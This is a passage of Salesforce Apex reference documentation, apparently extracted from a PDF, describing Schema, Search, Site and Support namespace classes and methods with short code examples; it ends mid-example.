starting with get, you can omit the get prefix and the ending parentheses () to call the property counterpart. For example,

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Reference

DescribeTabSetResult Class

tabSetResultObj.label is equivalent to tabSetResultObj.getLabel(). Similarly, for each method starting with

is, omit the is prefix and the ending parentheses (). For example, tabSetResultObj.isSelected is equivalent to
tabSetResultObj.selected.

Example
This example shows how to call the Schema.describeTabs method to get describe information for all available apps. This example
iterates through each describe result and gets more metadata information for the Sales app.
// App we're interested to get more info about
String appName = 'Sales';
// Get tab set describes for each app
List<Schema.DescribeTabSetResult> tabSetDesc = Schema.describeTabs();
// Iterate through each tab set describe for each
for(Schema.DescribeTabSetResult tsr : tabSetDesc)
// Get more information for the Sales app
if (tsr.getLabel() == appName) {
// Find out if the app is selected
if (tsr.isSelected()) {
System.debug('The ' + appName + ' app
}
// Get the app's Logo URL and namespace
String logo = tsr.getLogoUrl();
System.debug('Logo URL: ' + logo);
String ns = tsr.getNamespace();
if (ns == '') {
System.debug('The ' + appName + ' app
}
else {
System.debug('Namespace: ' + ns);
}
// Get the number of tabs
System.debug('The ' + appName + ' app has
}
}

app and display the info

{

is selected. ');

has no namespace defined.');

' + tsr.getTabs().size() + ' tabs.');

// Example debug statement output

// DEBUG|The Sales app is selected.
// DEBUG|Logo URL:
https://https://yourInstance.salesforce.com/img/seasonLogos/2014_winter_aloha.png
// DEBUG|The Sales app has no namespace defined.
// DEBUG|The Sales app has 14 tabs.

DescribeTabSetResult Methods
The following are methods for DescribeTabSetResult. All are instance methods.
IN THIS SECTION:
getDescription()
Returns the display description for the standard or custom app.

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Reference

DescribeTabSetResult Class

getLabel()
Returns the display label for the standard or custom app.
getLogoUrl()
Returns a fully qualified URL to the logo image associated with the standard or custom app.
getNamespace()
Returns the developer namespace prefix of a Force.comAppExchange managed package.
getTabs()
Returns metadata information about the standard or custom apps displayed tabs.
isSelected()
Returns true if this standard or custom app is the users currently selected app. Otherwise, returns false.

getDescription()
Returns the display description for the standard or custom app.

Signature
public String getDescription()

Return Value
Type: String

getLabel()
Returns the display label for the standard or custom app.

Signature
public String getLabel()

Return Value
Type: String

Usage
The display label changes when tabs are renamed in the Salesforce user interface. See the Salesforce online help for more information.

getLogoUrl()
Returns a fully qualified URL to the logo image associated with the standard or custom app.

Signature
public String getLogoUrl()

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Reference

DisplayType Enum

Return Value
Type: String

getNamespace()
Returns the developer namespace prefix of a Force.comAppExchange managed package.

Signature
public String getNamespace()

Return Value
Type: String

Usage
This namespace prefix corresponds to the namespace prefix of the Developer Edition organization that was enabled to allow publishing
a managed package. This method applies to a custom app containing a set of tabs and installed as part of a managed package.

getTabs()
Returns metadata information about the standard or custom apps displayed tabs.

Signature
public List<Schema.DescribeTabResult> getTabs()

Return Value
Type: List<Schema.DescribeTabResult>

isSelected()
Returns true if this standard or custom app is the users currently selected app. Otherwise, returns false.

Signature
public Boolean isSelected()

Return Value
Type: Boolean

DisplayType Enum
A Schema.DisplayType enum value is returned by the field describe result's getType method.

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Reference

DisplayType Enum

Namespace
Schema
Type Field Value

What the Field Object Contains

anytype

Any value of the following types: String, Picklist, Boolean, Integer, Double,
Percent, ID, Date, DateTime, URL, or Email.

base64

Base64-encoded arbitrary binary data (of type base64Binary)

Boolean

Boolean (true or false) values

Combobox

Comboboxes, which provide a set of enumerated values and allow the user to specify a value
not in the list

Currency

Currency values

DataCategoryGroupReference Reference to a data category group or a category unique name.

Date

Date values

DateTime

DateTime values

Double

Double values

Email addresses

EncryptedString

Encrypted string

Primary key field for an object

Integer

Integer values

MultiPicklist

Multi-select picklists, which provide a set of enumerated values from which multiple values can
be selected

Percent

Percent values

Phone

Phone numbers. Values can include alphabetic characters. Client applications are responsible for
phone number formatting.

Picklist

Single-select picklists, which provide a set of enumerated values from which only one value can
be selected

Reference

Cross-references to a different object, analogous to a foreign key field

String

String values

TextArea

String values that are displayed as multiline text fields

Time

Time values

URL

URL values that are displayed as hyperlinks

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Reference

FieldSet Class

Usage
For more information, see Field Types in the Object Reference for Salesforce and Force.com. For more information about the methods
shared by all enums, see Enum Methods.

FieldSet Class
Contains methods for discovering and retrieving the details of field sets created on sObjects.

Namespace
Schema

Usage
Use the methods in the Schema.FieldSet class to discover the fields contained within a field set, and get details about the field
set itself, such as the name, namespace, label, and so on. The following example shows how to get a collection of field set describe result
objects for an sObject. The key of the returned Map is the field set name, and the value is the corresponding field set describe result.
Map<String, Schema.FieldSet> FsMap =
Schema.SObjectType.Account.fieldSets.getMap();

Field sets are also available from sObject describe results. The following lines of code are equivalent to the prior sample:
Schema.DescribeSObjectResult d =
Account.sObjectType.getDescribe();
Map<String, Schema.FieldSet> FsMap =
d.fieldSets.getMap();

To work with an individual field set, you can access it via the map of field sets on an sObject or, when you know the name of the field
set in advance, using an explicit reference to the field set. The following two lines of code retrieve the same field set:
Schema.FieldSet fs1 = Schema.SObjectType.Account.fieldSets.getMap().get('field_set_name');
Schema.FieldSet fs2 = Schema.SObjectType.Account.fieldSets.field_set_name;

Example: Displaying a Field Set on a Visualforce Page

This sample uses Schema.FieldSet and Schema.FieldSetMember methods to dynamically get all the fields in the
Dimensions field set for the Merchandise custom object. The list of fields is then used to construct a SOQL query that ensures those fields
are available for display. The Visualforce page uses the MerchandiseDetails class as its controller.
public class MerchandiseDetails {
public Merchandise__c merch { get; set; }
public MerchandiseDetails() {
this.merch = getMerchandise();
}
public List<Schema.FieldSetMember> getFields() {
return SObjectType.Merchandise__c.FieldSets.Dimensions.getFields();
}

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Reference

FieldSet Class

private Merchandise__c getMerchandise() {

String query = 'SELECT ';
for(Schema.FieldSetMember f : this.getFields()) {
query += f.getFieldPath() + ', ';
}
query += 'Id, Name FROM Merchandise__c LIMIT 1';
return Database.query(query);
}
}

The Visualforce page using the above controller is simple:

<apex:page controller="MerchandiseDetails">
<apex:form >
<apex:pageBlock title="Product Details">
<apex:pageBlockSection title="Product">
<apex:inputField value="{!merch.Name}"/>
</apex:pageBlockSection>
<apex:pageBlockSection title="Dimensions">
<apex:repeat value="{!fields}" var="f">
<apex:inputField value="{!merch[f.fieldPath]}"
required="{!OR(f.required, f.dbrequired)}"/>
</apex:repeat>
</apex:pageBlockSection>
</apex:pageBlock>
</apex:form>
</apex:page>

One thing to note about the above markup is the expression used to determine if a field on the form should be indicated as being a
required field. A field in a field set can be required by either the field set definition, or the fields own definition. The expression handles
both cases.

FieldSet Methods
The following are methods for FieldSet. All are instance methods.
IN THIS SECTION:
getDescription()
Returns the field sets description.
getFields()
Returns a list of Schema.FieldSetMember objects for the fields making up the field set.
getLabel()
Returns the text label that is displayed next to the field in the Salesforce user interface.
getName()
Returns the field sets name.

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Reference

FieldSet Class

getNamespace()
Returns the field sets namespace.
getSObjectType()
Returns the Schema.sObjectType of the sObject containing the field set definition.

getDescription()
Returns the field sets description.

Signature
public String getDescription()

Return Value
Type: String

Usage
Description is a required field for a field set, intended to describe the context and content of the field set. Its often intended for
administrators who might be configuring a field set defined in a managed package, rather than for end users.

getFields()
Returns a list of Schema.FieldSetMember objects for the fields making up the field set.

Signature
public List<FieldSetMember> getFields()

Return Value
Type: List<Schema.FieldSetMember>

getLabel()
Returns the text label that is displayed next to the field in the Salesforce user interface.

Signature
public String getLabel()

Return Value
Type: String

getName()
Returns the field sets name.

1896

Reference

FieldSetMember Class

Signature
public String getName()

Return Value
Type: String

getNamespace()
Returns the field sets namespace.

Signature
public String getNamespace()

Return Value
Type: String

Usage
The returned namespace is an empty string if your organization hasnt set a namespace, and the field set is defined in your organization.
Otherwise, its the namespace of your organization, or the namespace of the managed package containing the field set.

getSObjectType()
Returns the Schema.sObjectType of the sObject containing the field set definition.

Signature
public Schema.SObjectType getSObjectType()

Return Value
Type: Schema.SObjectType

FieldSetMember Class
Contains methods for accessing the metadata for field set member fields.

Namespace
Schema

1897

Reference

FieldSetMember Class

Usage
Use the methods in the Schema.FieldSetMember class to get details about fields contained within a field set, such as the field
label, type, a dynamic SOQL-ready field path, and so on. The following example shows how to get a collection of field set member
describe result objects for a specific field set on an sObject:
List<Schema.FieldSetMember> fields =
Schema.SObjectType.Account.fieldSets.getMap().get('field_set_name').getFields();

If you know the name of the field set in advance, you can access its fields more directly using an explicit reference to the field set:
List<Schema.FieldSetMember> fields =
Schema.SObjectType.Account.fieldSets.field_set_name.getFields();

What the Field Object Contains

anytype

Any value of the following types: String, Boolean, Integer, Double, ID, Date or
DateTime.

base64binary

Base64-encoded arbitrary binary data (of type base64Binary)

Boolean

Boolean (true or false) values

Date

Date values

DateTime

DateTime values

Double

Double values

Primary key field for an object

Integer

Integer values

String

String values

Time

Time values

Usage
For more information, see SOAPTypes in the SOAP API Developer's Guide. For more information about the methods shared by all enums,
see Enum Methods.

SObjectField Class
A Schema.sObjectField object is returned from the field describe result using the getControler and getSObjectField
methods.

Namespace
Schema

Example
Schema.DescribeFieldResult F = Account.Industry.getDescribe();
Schema.sObjectField T = F.getSObjectField();

sObjectField Methods
The following are instance methods for sObjectField.

1904

Reference

SObjectType Class

IN THIS SECTION:
getDescribe()
Returns the describe field result for this field.

getDescribe()
Returns the describe field result for this field.

Signature
public Schema.DescribeFieldResult getDescribe()

Return Value
Type: Schema.DescribeFieldResult

SObjectType Class
A Schema.sObjectType object is returned from the field describe result using the getReferenceTo method, or from the
sObject describe result using the getSObjectType method.

Namespace
Schema

Usage
Schema.DescribeFieldResult F = Account.Industry.getDescribe();
List<Schema.sObjectType> P = F.getReferenceTo();

SObjectType Methods
The following are methods for SObjectType. All are instance methods.
IN THIS SECTION:
getDescribe()
Returns the describe sObject result for this field.
newSObject()
Constructs a new sObject of this type.
newSObject(id)
Constructs a new sObject of this type, with the specified ID.
newSObject(recordTypeId, loadDefaults)
Constructs a new sObject of this type, and optionally, of the specified record type ID and with default custom field values.

1905

Reference

SObjectType Class

getDescribe()
Returns the describe sObject result for this field.

Signature
public Schema.DescribeSObjectResult getDescribe()

Return Value
Type: Schema.DescribeSObjectResult

newSObject()
Constructs a new sObject of this type.

Signature
public sObject newSObject()

Return Value
Type: sObject

Example
For an example, see Dynamic sObject Creation Example.

newSObject(id)
Constructs a new sObject of this type, with the specified ID.

Signature
public sObject newSObject(ID id)

Parameters
id

Type: ID

Return Value
Type: sObject

Usage
For the argument, pass the ID of an existing record in the database.
After you create a new sObject, the sObject returned has all fields set to null. You can set any updateable field to desired values and
then update the record in the database. Only the fields you set new values for are updated and all other fields which are not system
fields are preserved.

1906

Reference

SObjectType Class

newSObject(recordTypeId, loadDefaults)
Constructs a new sObject of this type, and optionally, of the specified record type ID and with default custom field values.

Signature
public sObject newSObject(ID recordTypeId, Boolean loadDefaults)

Parameters
recordTypeId

Type: ID
Specifies the record type ID of the sObject to create. If no record type exists for this sObject, use null. If the sObject has record
types and you specify null, the default record type is used.
loadDefaults

Type: Boolean
Specifies whether to populate custom fields with their predefined default values (true) or not (false).

Return Value
Type: sObject

Usage
For required fields that have no default values, make sure to provide a value before inserting the new sObject. Otherwise, the insertion
results in an error. An example is the Account Name field or a master-detail relationship field.
Since picklists and multi-select picklists can have default values specified per record type, this method populates the default value
corresponding to the record type specified.
If fields have no predefined default values and the loadDefaults argument is true, this method creates the sObject with
field values of null.
If the loadDefaults argument is false, this method creates the sObject with field values of null.
This method populates read-only custom fields of the new sObject with default values. You can then insert the new sObject with
the read-only fields, even though these fields cannot be edited after theyre inserted.
If a custom field is marked as unique and also provides a default value, inserting more than one new sObject will cause a run-time
exception because of duplicate field values.
To learn more about default field values, see About Default Field Values in the Salesforce online help.

Example: Creating New sObject with Default Values

This sample creates an account with any default values populated for its custom fields, if any, using the newSObject method. It also
creates a second account for a specific record type. For both accounts, the sample sets the Name field, which is a required field that
doesnt have a default value, before inserting the new accounts.
// Create an account with predefined default values
Account acct = (Account)Account.sObjectType.newSObject(null, true);
// Provide a value for Name
acct.Name = 'Acme';
// Insert new account
insert acct;

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Reference

Search Namespace

// This is for record type RT1 of Account

ID rtId = [SELECT Id FROM RecordType WHERE sObjectType='Account' AND Name='RT1'].Id;
Account acct2 = (Account)Account.sObjectType.newSObject(rtId, true);
// Provide a value for Name
acct2.Name = 'Acme2';
// Insert new account
insert acct2;

Search Namespace
The Search namespace provides classes for getting search results and suggestion results.
The following are the classes in the Search namespace.
IN THIS SECTION:
KnowledgeSuggestionFilter Class
Filter settings that narrow the results from a call to System.Search.suggest(searchQuery, sObjectType,
options) when the SOSL search query contains a KnowledgeArticleVersion object.
QuestionSuggestionFilter Class
The Search.QuestionSuggestionFilter class filters results from a call to
System.Search.suggest(searchQuery, sObjectType, options) when the SOSL searchQuery contains
a FeedItem object.

SearchResult Class
A wrapper object that contains an sObject and search metadata.
SearchResults Class
Wraps the results returned by the Search.find(String) method.
SuggestionOption Class
Options that narrow record and article suggestion results returned from a call to System.Search.suggest(String,
String, Search.SuggestionOption).
SuggestionResult Class
A wrapper object that contains an sObject.
SuggestionResults Class
Wraps the results returned by the Search.suggest(String, String, Search.SuggestionOption) method.
SEE ALSO:
find(searchQuery)
suggest(searchQuery, sObjectType, suggestions)

KnowledgeSuggestionFilter Class
Filter settings that narrow the results from a call to System.Search.suggest(searchQuery, sObjectType, options)
when the SOSL search query contains a KnowledgeArticleVersion object.

1908

Reference

KnowledgeSuggestionFilter Class

Namespace
Search

KnowledgeSuggestionFilter Methods
The following are methods for KnowledgeSuggestionFilter.
IN THIS SECTION:
addArticleType(articleType)
Adds a filter that narrows suggestion results to display the specified article type. This filter is optional.
addDataCategory(dataCategoryGroupName, dataCategoryName)
Adds a filter that narrows suggestion results to display articles in the specified data category. This filter is optional.
addTopic(topic)
Specifies the article topic to return. This filter is optional.
setChannel(channelName)
Sets a channel to narrow the suggestion results to articles in the specified channel. This filter is optional.
setDataCategories(dataCategoryFilters)
Adds filters that narrow suggestion results to display articles in the specified data categories. Use this method to set multiple data
category group and name pairs in one call. This filter is optional.
setLanguage(localeCode)
Sets a language to narrow the suggestion results to display articles in that language. This filter value is required in calls to
System.Search.suggest(String, String, Search.SuggestionOption).
setPublishStatus(publishStatus)
Sets a publish status to narrow the suggestion results to display articles with that status. This filter value is required in calls to
System.Search.suggest(String, String, Search.SuggestionOption).
setValidationStatus(validationStatus)
Sets a validation status to narrow the suggestion results to display articles with that status. This filter is optional.

addArticleType(articleType)
Adds a filter that narrows suggestion results to display the specified article type. This filter is optional.

Signature
public void addArticleType(String articleType)

Parameters
articleType

Type: String
A three-character ID prefix indicating the desired article type.

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Reference

KnowledgeSuggestionFilter Class

Return Value
Type: void

Usage
To add more than 1 article type, call the method multiple times.

addDataCategory(dataCategoryGroupName, dataCategoryName)
Adds a filter that narrows suggestion results to display articles in the specified data category. This filter is optional.

Signature
public void addDataCategory(String dataCategoryGroupName, String dataCategoryName)

Parameters
dataCategoryGroupName

Type: String
The name of the data category group
dataCategoryName

Type: String
The name of the data category.

Return Value
Type: void

Usage
To set multiple data categories, call the method multiple times. The name of the data category group and name of the data category
for desired articles, expressed as a mapping, for example,
Search.KnowledgeSuggestionFilter.addDataCategory('Regions', 'Asia').

addTopic(topic)
Specifies the article topic to return. This filter is optional.

Signature
public void addTopic(String topic)

Parameters
addTopic

Type: String
The name of the article topic.

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Reference

KnowledgeSuggestionFilter Class

Return Value
Type: void

Usage
To add more than 1 article topic, call the method multiple times.

setChannel(channelName)
Sets a channel to narrow the suggestion results to articles in the specified channel. This filter is optional.

Signature
public void setChannel(String channelName)

Parameters
channelName

Type: String
The name of a channel. Valid values are:
AllChannelsVisible in all channels the user has access to
AppVisible in the internal Salesforce Knowledge application
PkbVisible in the public knowledge base
CspVisible in the Customer Portal
PrmVisible in the Partner Portal
If channel isnt specified, the default value is determined by the type of user.
Pkb for a guest user
Csp for a Customer Portal user
Prm for a Partner Portal user
App for any other type of user
If channel is specified, the specified value may not be the actual value requested, because of certain requirements.
For guest, Customer Portal, and Partner Portal users, the specified value must match the default value for each user type. If the
values dont match or AllChannels is specified, then App replaces the specified value.
For all users other than guest, Customer Portal, and Partner Portal users:
If Pkb, Csp, Prm, or App are specified, then the specified value is used.
If AllChannels is specified, then App replaces the specified value.

Return Value
Type: void

setDataCategories(dataCategoryFilters)
Adds filters that narrow suggestion results to display articles in the specified data categories. Use this method to set multiple data category
group and name pairs in one call. This filter is optional.

1911

Reference

KnowledgeSuggestionFilter Class

Signature
public void setDataCategories(Map dataCategoryFilters)

Parameters
dataCategoryFilters

Type: Map
A map of data category group and data category name pairs.

Return Value
Type: void

setLanguage(localeCode)
Sets a language to narrow the suggestion results to display articles in that language. This filter value is required in calls to
System.Search.suggest(String, String, Search.SuggestionOption).

Signature
public void setLanguage(String localeCode)

Parameters
localeCode

Type: String
A locale code. For example, 'en_US' (EnglishUnited States), or 'es' (Spanish).

Return Value
Type: void
SEE ALSO:
Supported Locales

setPublishStatus(publishStatus)
Sets a publish status to narrow the suggestion results to display articles with that status. This filter value is required in calls to
System.Search.suggest(String, String, Search.SuggestionOption).

Signature
public void setPublishStatus(String publishStatus)

Parameters
publishStatus

Type: String

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Reference

QuestionSuggestionFilter Class

A publish status. Valid values are:

DraftArticles arent published in Salesforce Knowledge.
OnlineArticles are published in Salesforce Knowledge.
ArchivedArticles arent published and are available in Archived Articles view.

setValidationStatus(validationStatus)
Sets a validation status to narrow the suggestion results to display articles with that status. This filter is optional.

Signature
public void setValidationStatus(String validationStatus)

Parameters
validationStatus

Type: String
An article validation status. These values are available in the ValidationStatus field on the KnowledgeArticleVersion object.

Return Value
Type: void

QuestionSuggestionFilter Class
The Search.QuestionSuggestionFilter class filters results from a call to System.Search.suggest(searchQuery,
sObjectType, options) when the SOSL searchQuery contains a FeedItem object.

Namespace
Search
IN THIS SECTION:
QuestionSuggestionFilter Methods

QuestionSuggestionFilter Methods
The following are methods for QuestionSuggestionFilter.
IN THIS SECTION:
addGroupId(groupId)
Adds a filter to display questions associated with the single specified group whose ID is passed in as an argument. This filter is
optional.
addNetworkId(networkId)
Adds a filter to display questions associated with the single specified network whose ID is passed in as an argument. This filter is
optional.

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Reference

QuestionSuggestionFilter Class

addUserId(userId)
Adds a filter to display questions belonging to the single specified user whose ID is passed in as an argument. This filter is optional.
setGroupIds(groupIds)
Sets a new list of groups to replace the current list of groups where the group IDs are passed in as an argument. This filter is optional.
setNetworkIds(networkIds)
Sets a new list of networks to replace the current list of networks where the network IDs are passed in as an argument. This filter is
optional.
setTopicId(topicId)
Sets a filter to display questions associated with the single specified topic whose ID is passed in as an argument. This filter is optional.
setUserIds(userIds)
Sets a new list of users to replace the current list of users where the users IDs are passed in as an argument. This filter is optional.

addGroupId(groupId)
Adds a filter to display questions associated with the single specified group whose ID is passed in as an argument. This filter is optional.

Signature
public void addGroupId(String groupId)

Parameters
groupId

Type: String
The ID for a group.

Return Value
Type: void

Usage
To add more than one group, call the method multiple times.

addNetworkId(networkId)
Adds a filter to display questions associated with the single specified network whose ID is passed in as an argument. This filter is optional.

Signature
public void addNetworkId(String networkId)

Parameters
networkId

Type: String
The ID of the community about which youre retrieving this information.

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Reference

QuestionSuggestionFilter Class

Return Value
Type: void

Usage
To add more than one network, call the method multiple times.

addUserId(userId)
Adds a filter to display questions belonging to the single specified user whose ID is passed in as an argument. This filter is optional.

Signature
public void addUserId(String userId)

Parameters
userId

Type: String
The ID for the user.

Return Value
Type: void

Usage
To add more than one user, call the method multiple times.

setGroupIds(groupIds)
Sets a new list of groups to replace the current list of groups where the group IDs are passed in as an argument. This filter is optional.

Signature
public void setGroupIds(List<String> groupIds)

Parameters
groupIds

Type: List<String>
A list of group IDs.

Return Value
Type: void

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Reference

QuestionSuggestionFilter Class

setNetworkIds(networkIds)
Sets a new list of networks to replace the current list of networks where the network IDs are passed in as an argument. This filter is
optional.

Signature
public void setNetworkIds(List<String> networkIds)

Parameters
networkIds

Type: List<String>
A list of network IDs.

Return Value
Type: void

setTopicId(topicId)
Sets a filter to display questions associated with the single specified topic whose ID is passed in as an argument. This filter is optional.

Signature
public void setTopicId(String topicId)

Parameters
topicId

Type: String
The ID for a topic.

Return Value
Type: void

setUserIds(userIds)
Sets a new list of users to replace the current list of users where the users IDs are passed in as an argument. This filter is optional.

Signature
public void setUserIds(List<String> userIds)

Parameters
userIds

Type: List<String>
A list of user IDs.

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Reference

SearchResult Class

Return Value
Type: void

SearchResult Class
A wrapper object that contains an sObject and search metadata.

Namespace
Search

SearchResult Methods
The following are methods for SearchResult.
IN THIS SECTION:
getSObject()
Returns an sObject from a SearchResult object.
getSnippet(fieldName)
Returns a snippet from a SearchResult object based on the specified field name.
getSnippet()
Returns a snippet from a SearchResult object based on the default field.

getSObject()
Returns an sObject from a SearchResult object.

Signature
public SObject getSObject()

Return Value
Type: SObject
SEE ALSO:
find(searchQuery)
Dynamic SOSL

getSnippet(fieldName)
Returns a snippet from a SearchResult object based on the specified field name.

Signature
public String getSnippet(String fieldName)

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Reference

SearchResults Class

Parameters
fieldName

Type: String
The field name to use for creating the snippet.

Return Value
Type: String
SEE ALSO:
find(searchQuery)
Dynamic SOSL

getSnippet()
Returns a snippet from a SearchResult object based on the default field.

Signature
public String getSnippet()

Return Value
Type: String
SEE ALSO:
find(searchQuery)
Dynamic SOSL

SearchResults Class
Wraps the results returned by the Search.find(String) method.

Namespace
Search

SearchResults Methods
The following are methods for SearchResults.
IN THIS SECTION:
get(sObjectType)
Returns a list of Search.SearchResult objects that contain an sObject of the specified type.

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Reference

SuggestionOption Class

get(sObjectType)
Returns a list of Search.SearchResult objects that contain an sObject of the specified type.

Signature
public List<Search.SearchResult> get(String sObjectType)

Parameters
sObjectType

Type: String
The name of an sObject in the dynamic SOSL query passed to the Search.find(String) method.

Return Value
Type: List<Search.SearchResult>

Usage
SOSL queries passed to the Search.find(String) method can return results for multiple objects. For example, the query
Search.find('FIND \'map\' IN ALL FIELDS RETURNING Account, Contact, Opportunity') includes
results for 3 objects. You can call get(string) to retrieve search results for 1 object at a time. For example, to get results for the
Account object, call Search.SearchResults.get('Account').
SEE ALSO:
find(searchQuery)
SearchResult Methods
Dynamic SOSL

SuggestionOption Class
Options that narrow record and article suggestion results returned from a call to System.Search.suggest(String, String,
Search.SuggestionOption).

Namespace
Search

SuggestionOption Methods
The following are methods for SuggestionOption.
IN THIS SECTION:
setFilter(knowledgeSuggestionFilter)
Set filters that narrow Salesforce Knowledge article results in a call to System.Search.suggest(String, String,
Search.SuggestionOption).

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Reference

SuggestionOption Class

setLimit(limit)
The maximum number of record or article suggestions to retrieve.

setFilter(knowledgeSuggestionFilter)
Set filters that narrow Salesforce Knowledge article results in a call to System.Search.suggest(String, String,
Search.SuggestionOption).

Signature
public void setFilter(Search.KnowledegeSuggestionFilter knowledgeSuggestionFilter)

Parameters
knowledgeSuggestionFilter

Type: KnowledgeSuggestionFilter
An object containing filters that narrow the search results.

Return Value
Type: void

Usage
Search.KnowledgeSuggestionFilter filters = new Search.KnowledgeSuggestionFilter();
filters.setLanguage('en_US');
filters.setPublishStatus('Online');
filters.setChannel('app');
Search.SuggestionOption options = new Search.SuggestionOption();
options.setFilter(filters);
Search.SuggestionResults suggestionResults = Search.suggest('all', 'KnowledgeArticleVersion',
options);
for (Search.SuggestionResult searchResult : suggestionResults.getSuggestionResults()) {
KnowledgeArticleVersion article = (KnowledgeArticleVersion)result.getSObject();
System.debug(article.title);
}

setLimit(limit)
The maximum number of record or article suggestions to retrieve.

Signature
public void setLimit(Integer limit)

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Reference

SuggestionResult Class

Parameters
limit

Type: Integer
The maximum number of record or article suggestions to retrieve.

Return Value
Type: void

Usage
By default, the System.Search.suggest(String, String, Search.SuggestionOption) method returns the
5 most relevant results. However, if your query is broad, it could match more than 5 results. If
Search.SuggestionResults.hasMoreResults() returns true, there are more than 5 results. To retrieve them, call
setLimit(Integer) to increase the number of suggestions results.
Search.SuggestionOption option = new Search.SuggestionOption();
option.setLimit(10);
Search.suggest('my query', 'mySObjectType', option);

SuggestionResult Class
A wrapper object that contains an sObject.

Namespace
Search

SuggestionResult Methods
The following are methods for SuggestionResult.
IN THIS SECTION:
getSObject()
Returns the sObject from a SuggestionResult object.

getSObject()
Returns the sObject from a SuggestionResult object.

Signature
public SObject getSObject()

Return Value
Type: SObject

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Reference

SuggestionResults Class

SuggestionResults Class
Wraps the results returned by the Search.suggest(String, String, Search.SuggestionOption) method.

Namespace
Search

SuggestionResults Methods
The following are methods for SuggestionResults.
IN THIS SECTION:
getSuggestionResults()
Returns a list of SuggestionResult objects from the response to a call to Search.suggest(String, String,
Search.SuggestionOption).
hasMoreResults()
Indicates whether a call to System.Search.suggest(String, String, Search.SuggestionOption) has
more results available than were returned.

getSuggestionResults()
Returns a list of SuggestionResult objects from the response to a call to Search.suggest(String, String,
Search.SuggestionOption).

Signature
public List<Search.SuggestionResult> getSuggestionResults()

Return Value
Type: List<SuggestionResult>

hasMoreResults()
Indicates whether a call to System.Search.suggest(String, String, Search.SuggestionOption) has more
results available than were returned.

Signature
public Boolean hasMoreResults()

Return Value
Type: Boolean

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Reference

Site Namespace

Usage
If a limit isnt specified, 5 records are returned in calls to System.Search.suggest(String, String,
Search.SuggestionOption). If there are more suggested records than the limit specified, a call to hasMoreResults()
returns true.

Site Namespace
The Site namespace provides an interface for rewriting Sites URLs.
The following is the interface in the Site namespace.
IN THIS SECTION:
UrlRewriter Interface
Enables rewriting Sites URLs.
Site Exceptions
The Site namespace contains an exception class.

UrlRewriter Interface
Enables rewriting Sites URLs.

Namespace
Site

Usage
Sites provides built-in logic that helps you display user-friendly URLs and links to site visitors. Create rules to rewrite URL requests typed
into the address bar, launched from bookmarks, or linked from external websites. You can also create rules to rewrite the URLs for links
within site pages. URL rewriting not only makes URLs more descriptive and intuitive for users, it allows search engines to better index
your site pages.
For example, let's say that you have a blog site. Without URL rewriting, a blog entry's URL might look like this:
http://myblog.force.com/posts?id=003D000000Q0PcN

To rewrite URLs for a site, create an Apex class that maps the original URLs to user-friendly URLs, and then add the Apex class to your
site.

UrlRewriter Methods
The following are methods for UrlRewriter. All are instance methods.
IN THIS SECTION:
generateUrlFor(salesforceUrls)
Maps a list of Salesforce URLs to a list of user-friendly URLs.

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Reference

Site Exceptions

mapRequestUrl(userFriendlyUrl)
Maps a user-friendly URL to a Salesforce URL.

generateUrlFor(salesforceUrls)
Maps a list of Salesforce URLs to a list of user-friendly URLs.

Signature
public System.PageReference[] generateUrlFor(System.PageReference[] salesforceUrls)

Parameters
salesforceUrls

Type: System.PageReference[]

Return Value
Type: System.PageReference[]

Usage
You can use List<PageReference> instead of PageReference[], if you prefer.
Important: The size and order of the input list of Salesforce URLs must exactly correspond to the size and order of the generated
list of user-friendly URLs. The generateUrlFor method maps input URLs to output URLs based on the order in the lists.

mapRequestUrl(userFriendlyUrl)
Maps a user-friendly URL to a Salesforce URL.

Signature
public System.PageReference mapRequestUrl(System.PageReference userFriendlyUrl)

Parameters
userFriendlyUrl

Type: System.PageReference

Return Value
Type: System.PageReference

Site Exceptions
The Site namespace contains an exception class.
All exception classes support built-in methods for returning the error message and exception type. See Exception Class and Built-In
Exceptions.
The Site namespace contains this exception:

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Reference

Support Namespace

Exception

Description

Methods

Site.ExternalUserCreateException Unable to create

Use the String getMessage() to get the error message

and write it to debug log.

external user

Use List<String> getDisplayMessages() to get

a list of errors displayed to the end user.
This exception cant be subclassed or thrown in code.

Support Namespace
The Support namespace provides an interface used for Case Feed.
The following is the interface in the Support namespace.
IN THIS SECTION:
EmailTemplateSelector Interface
The Support.EmailTemplateSelector interface enables providing default email templates in Case Feed. With default
email templates, specified email templates are preloaded for cases based on criteria such as case origin or subject.
MilestoneTriggerTimeCalculator Interface
The Support.MilestoneTriggerTimeCalculator interface calculates the time trigger for a milestone.

EmailTemplateSelector Interface
The Support.EmailTemplateSelector interface enables providing default email templates in Case Feed. With default email
templates, specified email templates are preloaded for cases based on criteria such as case origin or subject.

Namespace
Support
To specify default templates, you must create a class that implements Support.EmailTemplateSelector.
When you implement this interface, provide an empty parameterless constructor.
IN THIS SECTION:
EmailTemplateSelector Methods
EmailTemplateSelector Example Implementation

EmailTemplateSelector Methods
The following are methods for EmailTemplateSelector.
IN THIS SECTION:
getDefaultTemplateId(caseId)
Returns the ID of the email template to preload for the case currently being viewed in the case feed using the specified case ID.

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Reference

EmailTemplateSelector Interface

getDefaultTemplateId(caseId)
Returns the ID of the email template to preload for the case currently being viewed in the case feed using the specified case ID.

Signature
public ID getDefaultTemplateId(ID caseId)

Parameters
caseId

Type: ID

Return Value
Type: ID

EmailTemplateSelector Example Implementation

This is an example implementation of the Support.EmailTemplateSelector interface.
The getDefaultEmailTemplateId method implementation retrieves the subject and description of the case corresponding
to the specified case ID. Next, it selects an email template based on the case subject and returns the email template ID.
global class MyCaseTemplateChooser implements Support.EmailTemplateSelector {
// Empty constructor
global MyCaseTemplateChooser() {
}
// The main interface method
global ID getDefaultEmailTemplateId(ID caseId) {
// Select the case we're interested in, choosing any fields that are relevant to
our decision
Case c = [SELECT Subject, Description FROM Case WHERE Id=:caseId];
EmailTemplate et;
if (c.subject.contains('LX-1150')) {
et = [SELECT id FROM EmailTemplate WHERE DeveloperName = 'LX1150_template'];
} else if(c.subject.contains('LX-1220')) {
et = [SELECT id FROM EmailTemplate WHERE DeveloperName = 'LX1220_template'];
}
// Return the ID of the template selected
return et.id;
}
}

The following example tests the above code:

@isTest
private class MyCaseTemplateChooserTest {
static testMethod void testChooseTemplate() {

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Reference

MilestoneTriggerTimeCalculator Interface

MyCaseTemplateChooser chooser = new MyCaseTemplateChooser();

// Create a simulated case to test with
Case c = new Case();
c.Subject = 'I\'m having trouble with my LX-1150';
Database.insert(c);
// Make sure the proper template is chosen for this subject
Id actualTemplateId = chooser.getDefaultEmailTemplateId(c.Id);
EmailTemplate expectedTemplate =
